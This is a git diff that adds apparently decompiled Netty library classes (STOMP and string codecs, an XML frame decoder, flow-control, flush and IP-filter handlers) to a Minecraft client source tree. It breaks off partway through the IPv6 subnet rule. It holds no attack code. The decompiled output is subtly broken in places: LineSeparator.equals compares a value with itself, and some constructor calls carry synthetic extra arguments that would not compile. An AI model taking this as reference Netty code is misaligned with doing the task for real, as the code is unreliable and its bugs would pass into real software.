@@ -0,0 +1,76 @@
+package io.netty.handler.codec.stomp;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.AsciiHeadersEncoder;
+import io.netty.handler.codec.AsciiHeadersEncoder.NewlineType;
+import io.netty.handler.codec.AsciiHeadersEncoder.SeparatorType;
+import io.netty.handler.codec.MessageToMessageEncoder;
+import io.netty.util.CharsetUtil;
+import java.util.List;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class StompSubframeEncoder
+  extends MessageToMessageEncoder<StompSubframe>
+{
+  public StompSubframeEncoder() {}
+  
+  protected void encode(ChannelHandlerContext ctx, StompSubframe msg, List<Object> out)
+    throws Exception
+  {
+    if ((msg instanceof StompFrame)) {
+      StompFrame frame = (StompFrame)msg;
+      ByteBuf frameBuf = encodeFrame(frame, ctx);
+      out.add(frameBuf);
+      ByteBuf contentBuf = encodeContent(frame, ctx);
+      out.add(contentBuf);
+    } else if ((msg instanceof StompHeadersSubframe)) {
+      StompHeadersSubframe frame = (StompHeadersSubframe)msg;
+      ByteBuf buf = encodeFrame(frame, ctx);
+      out.add(buf);
+    } else if ((msg instanceof StompContentSubframe)) {
+      StompContentSubframe stompContentSubframe = (StompContentSubframe)msg;
+      ByteBuf buf = encodeContent(stompContentSubframe, ctx);
+      out.add(buf);
+    }
+  }
+  
+  private static ByteBuf encodeContent(StompContentSubframe content, ChannelHandlerContext ctx) {
+    if ((content instanceof LastStompContentSubframe)) {
+      ByteBuf buf = ctx.alloc().buffer(content.content().readableBytes() + 1);
+      buf.writeBytes(content.content());
+      buf.writeByte(0);
+      return buf;
+    }
+    return content.content().retain();
+  }
+  
+  private static ByteBuf encodeFrame(StompHeadersSubframe frame, ChannelHandlerContext ctx)
+  {
+    ByteBuf buf = ctx.alloc().buffer();
+    
+    buf.writeBytes(frame.command().toString().getBytes(CharsetUtil.US_ASCII));
+    buf.writeByte(10);
+    AsciiHeadersEncoder headersEncoder = new AsciiHeadersEncoder(buf, AsciiHeadersEncoder.SeparatorType.COLON, AsciiHeadersEncoder.NewlineType.LF);
+    for (Map.Entry<CharSequence, CharSequence> entry : frame.headers()) {
+      headersEncoder.encode(entry);
+    }
+    buf.writeByte(10);
+    return buf;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/string/LineEncoder.java b/src/minecraft/io/netty/handler/codec/string/LineEncoder.java
new file mode 100644
index 0000000..6ac888a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/string/LineEncoder.java
@@ -0,0 +1,94 @@
+package io.netty.handler.codec.string;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToMessageEncoder;
+import io.netty.util.CharsetUtil;
+import io.netty.util.internal.ObjectUtil;
+import java.nio.CharBuffer;
+import java.nio.charset.Charset;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class LineEncoder
+  extends MessageToMessageEncoder<CharSequence>
+{
+  private final Charset charset;
+  private final byte[] lineSeparator;
+  
+  public LineEncoder()
+  {
+    this(LineSeparator.DEFAULT, CharsetUtil.UTF_8);
+  }
+  
+
+
+  public LineEncoder(LineSeparator lineSeparator)
+  {
+    this(lineSeparator, CharsetUtil.UTF_8);
+  }
+  
+
+
+  public LineEncoder(Charset charset)
+  {
+    this(LineSeparator.DEFAULT, charset);
+  }
+  
+
+
+  public LineEncoder(LineSeparator lineSeparator, Charset charset)
+  {
+    this.charset = ((Charset)ObjectUtil.checkNotNull(charset, "charset"));
+    this.lineSeparator = ((LineSeparator)ObjectUtil.checkNotNull(lineSeparator, "lineSeparator")).value().getBytes(charset);
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, CharSequence msg, List<Object> out) throws Exception
+  {
+    ByteBuf buffer = ByteBufUtil.encodeString(ctx.alloc(), CharBuffer.wrap(msg), charset, lineSeparator.length);
+    buffer.writeBytes(lineSeparator);
+    out.add(buffer);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/string/LineSeparator.java b/src/minecraft/io/netty/handler/codec/string/LineSeparator.java
new file mode 100644
index 0000000..600c89e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/string/LineSeparator.java
@@ -0,0 +1,83 @@
+package io.netty.handler.codec.string;
+
+import io.netty.buffer.ByteBufUtil;
+import io.netty.util.CharsetUtil;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class LineSeparator
+{
+  public static final LineSeparator DEFAULT = new LineSeparator(StringUtil.NEWLINE);
+  
+
+
+
+  public static final LineSeparator UNIX = new LineSeparator("\n");
+  
+
+
+
+  public static final LineSeparator WINDOWS = new LineSeparator("\r\n");
+  
+
+  private final String value;
+  
+
+  public LineSeparator(String lineSeparator)
+  {
+    value = ((String)ObjectUtil.checkNotNull(lineSeparator, "lineSeparator"));
+  }
+  
+
+
+  public String value()
+  {
+    return value;
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (this == o) {
+      return true;
+    }
+    if (!(o instanceof LineSeparator)) {
+      return false;
+    }
+    LineSeparator that = (LineSeparator)o;
+    return value == null ? true : value != null ? value.equals(value) : false;
+  }
+  
+  public int hashCode()
+  {
+    return value != null ? value.hashCode() : 0;
+  }
+  
+
+
+
+  public String toString()
+  {
+    return ByteBufUtil.hexDump(value.getBytes(CharsetUtil.UTF_8));
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/string/StringDecoder.java b/src/minecraft/io/netty/handler/codec/string/StringDecoder.java
new file mode 100644
index 0000000..c7f726c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/string/StringDecoder.java
@@ -0,0 +1,81 @@
+package io.netty.handler.codec.string;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToMessageDecoder;
+import java.nio.charset.Charset;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class StringDecoder
+  extends MessageToMessageDecoder<ByteBuf>
+{
+  private final Charset charset;
+  
+  public StringDecoder()
+  {
+    this(Charset.defaultCharset());
+  }
+  
+
+
+  public StringDecoder(Charset charset)
+  {
+    if (charset == null) {
+      throw new NullPointerException("charset");
+    }
+    this.charset = charset;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf msg, List<Object> out) throws Exception
+  {
+    out.add(msg.toString(charset));
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/string/StringEncoder.java b/src/minecraft/io/netty/handler/codec/string/StringEncoder.java
new file mode 100644
index 0000000..6e75368
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/string/StringEncoder.java
@@ -0,0 +1,82 @@
+package io.netty.handler.codec.string;
+
+import io.netty.buffer.ByteBufUtil;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToMessageEncoder;
+import java.nio.CharBuffer;
+import java.nio.charset.Charset;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class StringEncoder
+  extends MessageToMessageEncoder<CharSequence>
+{
+  private final Charset charset;
+  
+  public StringEncoder()
+  {
+    this(Charset.defaultCharset());
+  }
+  
+
+
+  public StringEncoder(Charset charset)
+  {
+    if (charset == null) {
+      throw new NullPointerException("charset");
+    }
+    this.charset = charset;
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, CharSequence msg, List<Object> out) throws Exception
+  {
+    if (msg.length() == 0) {
+      return;
+    }
+    
+    out.add(ByteBufUtil.encodeString(ctx.alloc(), CharBuffer.wrap(msg), charset));
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/xml/XmlFrameDecoder.java b/src/minecraft/io/netty/handler/codec/xml/XmlFrameDecoder.java
new file mode 100644
index 0000000..0e04902
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/xml/XmlFrameDecoder.java
@@ -0,0 +1,232 @@
+package io.netty.handler.codec.xml;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.ByteToMessageDecoder;
+import io.netty.handler.codec.CorruptedFrameException;
+import io.netty.handler.codec.TooLongFrameException;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class XmlFrameDecoder
+  extends ByteToMessageDecoder
+{
+  private final int maxFrameLength;
+  
+  public XmlFrameDecoder(int maxFrameLength)
+  {
+    if (maxFrameLength < 1) {
+      throw new IllegalArgumentException("maxFrameLength must be a positive int");
+    }
+    this.maxFrameLength = maxFrameLength;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    boolean openingBracketFound = false;
+    boolean atLeastOneXmlElementFound = false;
+    boolean inCDATASection = false;
+    long openBracketsCount = 0L;
+    int length = 0;
+    int leadingWhiteSpaceCount = 0;
+    int bufferLength = in.writerIndex();
+    
+    if (bufferLength > maxFrameLength)
+    {
+      in.skipBytes(in.readableBytes());
+      fail(bufferLength);
+      return;
+    }
+    
+    for (int i = in.readerIndex(); i < bufferLength; i++) {
+      byte readByte = in.getByte(i);
+      if ((!openingBracketFound) && (Character.isWhitespace(readByte)))
+      {
+        leadingWhiteSpaceCount++;
+      } else { if ((!openingBracketFound) && (readByte != 60))
+        {
+          fail(ctx);
+          in.skipBytes(in.readableBytes());
+          return; }
+        if ((!inCDATASection) && (readByte == 60)) {
+          openingBracketFound = true;
+          
+          if (i < bufferLength - 1) {
+            byte peekAheadByte = in.getByte(i + 1);
+            if (peekAheadByte == 47)
+            {
+              int peekFurtherAheadIndex = i + 2;
+              while (peekFurtherAheadIndex <= bufferLength - 1)
+              {
+                if (in.getByte(peekFurtherAheadIndex) == 62) {
+                  openBracketsCount -= 1L;
+                  break;
+                }
+                peekFurtherAheadIndex++;
+              }
+            } else if (isValidStartCharForXmlElement(peekAheadByte)) {
+              atLeastOneXmlElementFound = true;
+              
+
+              openBracketsCount += 1L;
+            } else if (peekAheadByte == 33) {
+              if (isCommentBlockStart(in, i))
+              {
+                openBracketsCount += 1L;
+              } else if (isCDATABlockStart(in, i))
+              {
+                openBracketsCount += 1L;
+                inCDATASection = true;
+              }
+            } else if (peekAheadByte == 63)
+            {
+              openBracketsCount += 1L;
+            }
+          }
+        } else if ((!inCDATASection) && (readByte == 47)) {
+          if ((i < bufferLength - 1) && (in.getByte(i + 1) == 62))
+          {
+            openBracketsCount -= 1L;
+          }
+        } else if (readByte == 62) {
+          length = i + 1;
+          
+          if (i - 1 > -1) {
+            byte peekBehindByte = in.getByte(i - 1);
+            
+            if (!inCDATASection) {
+              if (peekBehindByte == 63)
+              {
+                openBracketsCount -= 1L;
+              } else if ((peekBehindByte == 45) && (i - 2 > -1) && (in.getByte(i - 2) == 45))
+              {
+                openBracketsCount -= 1L;
+              }
+            } else if ((peekBehindByte == 93) && (i - 2 > -1) && (in.getByte(i - 2) == 93))
+            {
+              openBracketsCount -= 1L;
+              inCDATASection = false;
+            }
+          }
+          
+          if ((atLeastOneXmlElementFound) && (openBracketsCount == 0L)) {
+            break;
+          }
+        }
+      }
+    }
+    
+    int readerIndex = in.readerIndex();
+    int xmlElementLength = length - readerIndex;
+    
+    if ((openBracketsCount == 0L) && (xmlElementLength > 0)) {
+      if (readerIndex + xmlElementLength >= bufferLength) {
+        xmlElementLength = in.readableBytes();
+      }
+      ByteBuf frame = extractFrame(in, readerIndex + leadingWhiteSpaceCount, xmlElementLength - leadingWhiteSpaceCount);
+      
+      in.skipBytes(xmlElementLength);
+      out.add(frame);
+    }
+  }
+  
+  private void fail(long frameLength) {
+    if (frameLength > 0L) {
+      throw new TooLongFrameException("frame length exceeds " + maxFrameLength + ": " + frameLength + " - discarded");
+    }
+    
+    throw new TooLongFrameException("frame length exceeds " + maxFrameLength + " - discarding");
+  }
+  
+
+  private static void fail(ChannelHandlerContext ctx)
+  {
+    ctx.fireExceptionCaught(new CorruptedFrameException("frame contains content before the xml starts"));
+  }
+  
+  private static ByteBuf extractFrame(ByteBuf buffer, int index, int length) {
+    return buffer.copy(index, length);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private static boolean isValidStartCharForXmlElement(byte b)
+  {
+    return ((b >= 97) && (b <= 122)) || ((b >= 65) && (b <= 90)) || (b == 58) || (b == 95);
+  }
+  
+  private static boolean isCommentBlockStart(ByteBuf in, int i) {
+    return (i < in.writerIndex() - 3) && (in.getByte(i + 2) == 45) && (in.getByte(i + 3) == 45);
+  }
+  
+
+  private static boolean isCDATABlockStart(ByteBuf in, int i)
+  {
+    return (i < in.writerIndex() - 8) && (in.getByte(i + 2) == 91) && (in.getByte(i + 3) == 67) && (in.getByte(i + 4) == 68) && (in.getByte(i + 5) == 65) && (in.getByte(i + 6) == 84) && (in.getByte(i + 7) == 65) && (in.getByte(i + 8) == 91);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/flow/FlowControlHandler.java b/src/minecraft/io/netty/handler/flow/FlowControlHandler.java
new file mode 100644
index 0000000..c32d028
--- /dev/null
+++ b/src/minecraft/io/netty/handler/flow/FlowControlHandler.java
@@ -0,0 +1,240 @@
+package io.netty.handler.flow;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelDuplexHandler;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.util.Recycler;
+import io.netty.util.Recycler.Handle;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.util.ArrayDeque;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class FlowControlHandler
+  extends ChannelDuplexHandler
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(FlowControlHandler.class);
+  
+  private final boolean releaseMessages;
+  
+  private RecyclableArrayDeque queue;
+  
+  private ChannelConfig config;
+  private boolean shouldConsume;
+  
+  public FlowControlHandler()
+  {
+    this(true);
+  }
+  
+  public FlowControlHandler(boolean releaseMessages) {
+    this.releaseMessages = releaseMessages;
+  }
+  
+
+
+
+  boolean isQueueEmpty()
+  {
+    return queue.isEmpty();
+  }
+  
+
+
+  private void destroy()
+  {
+    if (queue != null)
+    {
+      if (!queue.isEmpty()) {
+        logger.trace("Non-empty queue: {}", queue);
+        
+        if (releaseMessages) {
+          Object msg;
+          while ((msg = queue.poll()) != null) {
+            ReferenceCountUtil.safeRelease(msg);
+          }
+        }
+      }
+      
+      queue.recycle();
+      queue = null;
+    }
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx) throws Exception
+  {
+    config = ctx.channel().config();
+  }
+  
+  public void channelInactive(ChannelHandlerContext ctx) throws Exception
+  {
+    destroy();
+    ctx.fireChannelInactive();
+  }
+  
+  public void read(ChannelHandlerContext ctx) throws Exception
+  {
+    if (dequeue(ctx, 1) == 0)
+    {
+
+
+      shouldConsume = true;
+      ctx.read();
+    }
+  }
+  
+  public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception
+  {
+    if (queue == null) {
+      queue = RecyclableArrayDeque.newInstance();
+    }
+    
+    queue.offer(msg);
+    
+
+
+
+    int minConsume = shouldConsume ? 1 : 0;
+    shouldConsume = false;
+    
+    dequeue(ctx, minConsume);
+  }
+  
+
+
+
+
+
+
+
+  public void channelReadComplete(ChannelHandlerContext ctx)
+    throws Exception
+  {}
+  
+
+
+
+
+
+
+
+  private int dequeue(ChannelHandlerContext ctx, int minConsume)
+  {
+    if (queue != null)
+    {
+      int consumed = 0;
+      
+
+      while ((consumed < minConsume) || (config.isAutoRead())) {
+        Object msg = queue.poll();
+        if (msg == null) {
+          break;
+        }
+        
+        consumed++;
+        ctx.fireChannelRead(msg);
+      }
+      
+
+
+
+      if ((queue.isEmpty()) && (consumed > 0)) {
+        ctx.fireChannelReadComplete();
+      }
+      
+      return consumed;
+    }
+    
+    return 0;
+  }
+  
+
+
+
+  private static final class RecyclableArrayDeque
+    extends ArrayDeque<Object>
+  {
+    private static final long serialVersionUID = 0L;
+    
+
+    private static final int DEFAULT_NUM_ELEMENTS = 2;
+    
+
+    private static final Recycler<RecyclableArrayDeque> RECYCLER = new Recycler()
+    {
+      protected FlowControlHandler.RecyclableArrayDeque newObject(Recycler.Handle<FlowControlHandler.RecyclableArrayDeque> handle) {
+        return new FlowControlHandler.RecyclableArrayDeque(2, handle, null);
+      }
+    };
+    private final Recycler.Handle<RecyclableArrayDeque> handle;
+    
+    public static RecyclableArrayDeque newInstance() { return (RecyclableArrayDeque)RECYCLER.get(); }
+    
+
+
+    private RecyclableArrayDeque(int numElements, Recycler.Handle<RecyclableArrayDeque> handle)
+    {
+      super();
+      this.handle = handle;
+    }
+    
+    public void recycle() {
+      clear();
+      handle.recycle(this);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/flush/FlushConsolidationHandler.java b/src/minecraft/io/netty/handler/flush/FlushConsolidationHandler.java
new file mode 100644
index 0000000..2b7c112
--- /dev/null
+++ b/src/minecraft/io/netty/handler/flush/FlushConsolidationHandler.java
@@ -0,0 +1,215 @@
+package io.netty.handler.flush;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelDuplexHandler;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.EventLoop;
+import java.util.concurrent.Future;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class FlushConsolidationHandler
+  extends ChannelDuplexHandler
+{
+  private final int explicitFlushAfterFlushes;
+  private final boolean consolidateWhenNoReadInProgress;
+  private final Runnable flushTask;
+  private int flushPendingCount;
+  private boolean readInProgress;
+  private ChannelHandlerContext ctx;
+  private Future<?> nextScheduledFlush;
+  
+  public FlushConsolidationHandler()
+  {
+    this(256, false);
+  }
+  
+
+
+
+
+  public FlushConsolidationHandler(int explicitFlushAfterFlushes)
+  {
+    this(explicitFlushAfterFlushes, false);
+  }
+  
+
+
+
+
+
+
+  public FlushConsolidationHandler(int explicitFlushAfterFlushes, boolean consolidateWhenNoReadInProgress)
+  {
+    if (explicitFlushAfterFlushes <= 0) {
+      throw new IllegalArgumentException("explicitFlushAfterFlushes: " + explicitFlushAfterFlushes + " (expected: > 0)");
+    }
+    
+    this.explicitFlushAfterFlushes = explicitFlushAfterFlushes;
+    this.consolidateWhenNoReadInProgress = consolidateWhenNoReadInProgress;
+    flushTask = (consolidateWhenNoReadInProgress ? new Runnable()
+    {
+      public void run()
+      {
+        if ((flushPendingCount > 0) && (!readInProgress)) {
+          flushPendingCount = 0;
+          ctx.flush();
+          nextScheduledFlush = null; } } } : null);
+  }
+  
+
+
+
+  public void handlerAdded(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    this.ctx = ctx;
+  }
+  
+  public void flush(ChannelHandlerContext ctx) throws Exception
+  {
+    if (readInProgress)
+    {
+
+      if (++flushPendingCount == explicitFlushAfterFlushes) {
+        flushNow(ctx);
+      }
+    } else if (consolidateWhenNoReadInProgress)
+    {
+      if (++flushPendingCount == explicitFlushAfterFlushes) {
+        flushNow(ctx);
+      } else {
+        scheduleFlush(ctx);
+      }
+    }
+    else {
+      flushNow(ctx);
+    }
+  }
+  
+  public void channelReadComplete(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    resetReadAndFlushIfNeeded(ctx);
+    ctx.fireChannelReadComplete();
+  }
+  
+  public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception
+  {
+    readInProgress = true;
+    ctx.fireChannelRead(msg);
+  }
+  
+  public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause)
+    throws Exception
+  {
+    resetReadAndFlushIfNeeded(ctx);
+    ctx.fireExceptionCaught(cause);
+  }
+  
+  public void disconnect(ChannelHandlerContext ctx, ChannelPromise promise)
+    throws Exception
+  {
+    resetReadAndFlushIfNeeded(ctx);
+    ctx.disconnect(promise);
+  }
+  
+  public void close(ChannelHandlerContext ctx, ChannelPromise promise)
+    throws Exception
+  {
+    resetReadAndFlushIfNeeded(ctx);
+    ctx.close(promise);
+  }
+  
+  public void channelWritabilityChanged(ChannelHandlerContext ctx) throws Exception
+  {
+    if (!ctx.channel().isWritable())
+    {
+      flushIfNeeded(ctx);
+    }
+    ctx.fireChannelWritabilityChanged();
+  }
+  
+  public void handlerRemoved(ChannelHandlerContext ctx) throws Exception
+  {
+    flushIfNeeded(ctx);
+  }
+  
+  private void resetReadAndFlushIfNeeded(ChannelHandlerContext ctx) {
+    readInProgress = false;
+    flushIfNeeded(ctx);
+  }
+  
+  private void flushIfNeeded(ChannelHandlerContext ctx) {
+    if (flushPendingCount > 0) {
+      flushNow(ctx);
+    }
+  }
+  
+  private void flushNow(ChannelHandlerContext ctx) {
+    cancelScheduledFlush();
+    flushPendingCount = 0;
+    ctx.flush();
+  }
+  
+  private void scheduleFlush(ChannelHandlerContext ctx) {
+    if (nextScheduledFlush == null)
+    {
+      nextScheduledFlush = ctx.channel().eventLoop().submit(flushTask);
+    }
+  }
+  
+  private void cancelScheduledFlush() {
+    if (nextScheduledFlush != null) {
+      nextScheduledFlush.cancel(false);
+      nextScheduledFlush = null;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ipfilter/AbstractRemoteAddressFilter.java b/src/minecraft/io/netty/handler/ipfilter/AbstractRemoteAddressFilter.java
new file mode 100644
index 0000000..9f646ad
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ipfilter/AbstractRemoteAddressFilter.java
@@ -0,0 +1,109 @@
+package io.netty.handler.ipfilter;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelInboundHandlerAdapter;
+import io.netty.channel.ChannelPipeline;
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractRemoteAddressFilter<T extends SocketAddress>
+  extends ChannelInboundHandlerAdapter
+{
+  public AbstractRemoteAddressFilter() {}
+  
+  public void channelRegistered(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    handleNewChannel(ctx);
+    ctx.fireChannelRegistered();
+  }
+  
+  public void channelActive(ChannelHandlerContext ctx) throws Exception
+  {
+    if (!handleNewChannel(ctx)) {
+      throw new IllegalStateException("cannot determine to accept or reject a channel: " + ctx.channel());
+    }
+    ctx.fireChannelActive();
+  }
+  
+  private boolean handleNewChannel(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    T remoteAddress = ctx.channel().remoteAddress();
+    
+
+    if (remoteAddress == null) {
+      return false;
+    }
+    
+
+
+    ctx.pipeline().remove(this);
+    
+    if (accept(ctx, remoteAddress)) {
+      channelAccepted(ctx, remoteAddress);
+    } else {
+      ChannelFuture rejectedFuture = channelRejected(ctx, remoteAddress);
+      if (rejectedFuture != null) {
+        rejectedFuture.addListener(ChannelFutureListener.CLOSE);
+      } else {
+        ctx.close();
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+
+
+  protected abstract boolean accept(ChannelHandlerContext paramChannelHandlerContext, T paramT)
+    throws Exception;
+  
+
+
+
+
+
+
+  protected void channelAccepted(ChannelHandlerContext ctx, T remoteAddress) {}
+  
+
+
+
+
+
+
+  protected ChannelFuture channelRejected(ChannelHandlerContext ctx, T remoteAddress)
+  {
+    return null;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ipfilter/IpFilterRule.java b/src/minecraft/io/netty/handler/ipfilter/IpFilterRule.java
new file mode 100644
index 0000000..4882b07
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ipfilter/IpFilterRule.java
@@ -0,0 +1,10 @@
+package io.netty.handler.ipfilter;
+
+import java.net.InetSocketAddress;
+
+public abstract interface IpFilterRule
+{
+  public abstract boolean matches(InetSocketAddress paramInetSocketAddress);
+  
+  public abstract IpFilterRuleType ruleType();
+}
diff --git a/src/minecraft/io/netty/handler/ipfilter/IpFilterRuleType.java b/src/minecraft/io/netty/handler/ipfilter/IpFilterRuleType.java
new file mode 100644
index 0000000..e2da339
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ipfilter/IpFilterRuleType.java
@@ -0,0 +1,8 @@
+package io.netty.handler.ipfilter;
+
+public enum IpFilterRuleType
+{
+  ACCEPT,  REJECT;
+  
+  private IpFilterRuleType() {}
+}
diff --git a/src/minecraft/io/netty/handler/ipfilter/IpSubnetFilterRule.java b/src/minecraft/io/netty/handler/ipfilter/IpSubnetFilterRule.java
new file mode 100644
index 0000000..77e7aa2
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ipfilter/IpSubnetFilterRule.java
@@ -0,0 +1,169 @@
+package io.netty.handler.ipfilter;
+
+import java.math.BigInteger;
+import java.net.Inet4Address;
+import java.net.Inet6Address;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.UnknownHostException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class IpSubnetFilterRule
+  implements IpFilterRule
+{
+  private final IpFilterRule filterRule;
+  
+  public IpSubnetFilterRule(String ipAddress, int cidrPrefix, IpFilterRuleType ruleType)
+  {
+    try
+    {
+      filterRule = selectFilterRule(InetAddress.getByName(ipAddress), cidrPrefix, ruleType);
+    } catch (UnknownHostException e) {
+      throw new IllegalArgumentException("ipAddress", e);
+    }
+  }
+  
+  public IpSubnetFilterRule(InetAddress ipAddress, int cidrPrefix, IpFilterRuleType ruleType) {
+    filterRule = selectFilterRule(ipAddress, cidrPrefix, ruleType);
+  }
+  
+  private static IpFilterRule selectFilterRule(InetAddress ipAddress, int cidrPrefix, IpFilterRuleType ruleType) {
+    if (ipAddress == null) {
+      throw new NullPointerException("ipAddress");
+    }
+    
+    if (ruleType == null) {
+      throw new NullPointerException("ruleType");
+    }
+    
+    if ((ipAddress instanceof Inet4Address))
+      return new Ip4SubnetFilterRule((Inet4Address)ipAddress, cidrPrefix, ruleType, null);
+    if ((ipAddress instanceof Inet6Address)) {
+      return new Ip6SubnetFilterRule((Inet6Address)ipAddress, cidrPrefix, ruleType, null);
+    }
+    throw new IllegalArgumentException("Only IPv4 and IPv6 addresses are supported");
+  }
+  
+
+  public boolean matches(InetSocketAddress remoteAddress)
+  {
+    return filterRule.matches(remoteAddress);
+  }
+  
+  public IpFilterRuleType ruleType()
+  {
+    return filterRule.ruleType();
+  }
+  
+  private static final class Ip4SubnetFilterRule implements IpFilterRule
+  {
+    private final int networkAddress;
+    private final int subnetMask;
+    private final IpFilterRuleType ruleType;
+    
+    private Ip4SubnetFilterRule(Inet4Address ipAddress, int cidrPrefix, IpFilterRuleType ruleType) {
+      if ((cidrPrefix < 0) || (cidrPrefix > 32)) {
+        throw new IllegalArgumentException(String.format("IPv4 requires the subnet prefix to be in range of [0,32]. The prefix was: %d", new Object[] { Integer.valueOf(cidrPrefix) }));
+      }
+      
+
+      subnetMask = prefixToSubnetMask(cidrPrefix);
+      networkAddress = (ipToInt(ipAddress) & subnetMask);
+      this.ruleType = ruleType;
+    }
+    
+    public boolean matches(InetSocketAddress remoteAddress)
+    {
+      int ipAddress = ipToInt((Inet4Address)remoteAddress.getAddress());
+      
+      return (ipAddress & subnetMask) == networkAddress;
+    }
+    
+    public IpFilterRuleType ruleType()
+    {
+      return ruleType;
+    }
+    
+    private static int ipToInt(Inet4Address ipAddress) {
+      byte[] octets = ipAddress.getAddress();
+      assert (octets.length == 4);
+      
+      return (octets[0] & 0xFF) << 24 | (octets[1] & 0xFF) << 16 | (octets[2] & 0xFF) << 8 | octets[3] & 0xFF;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    private static int prefixToSubnetMask(int cidrPrefix)
+    {
+      return (int)(-1L << 32 - cidrPrefix & 0xFFFFFFFFFFFFFFFF);
+    }
+  }
+  
+  private static final class Ip6SubnetFilterRule implements IpFilterRule
+  {
+    private static final BigInteger MINUS_ONE = BigInteger.valueOf(-1L);
+    private final BigInteger networkAddress;
+    private final BigInteger subnetMask;
+    private final IpFilterRuleType ruleType;
+    
+    private Ip6SubnetFilterRule(Inet6Address ipAddress, int cidrPrefix, IpFilterRuleType ruleType)
+    {
+      if ((cidrPrefix < 0) || (cidrPrefix > 128)) {
+        throw new IllegalArgumentException(String.format("IPv6 requires the subnet prefix to be in range of [0,128]. The prefix was: %d", new Object[] { Integer.valueOf(cidrPrefix) }));
+      }
+      
+
+      subnetMask = prefixToSubnetMask(cidrPrefix);
+      networkAddress = ipToInt(ipAddress).and(subnetMask);
+      this.ruleType = ruleType;
+    }
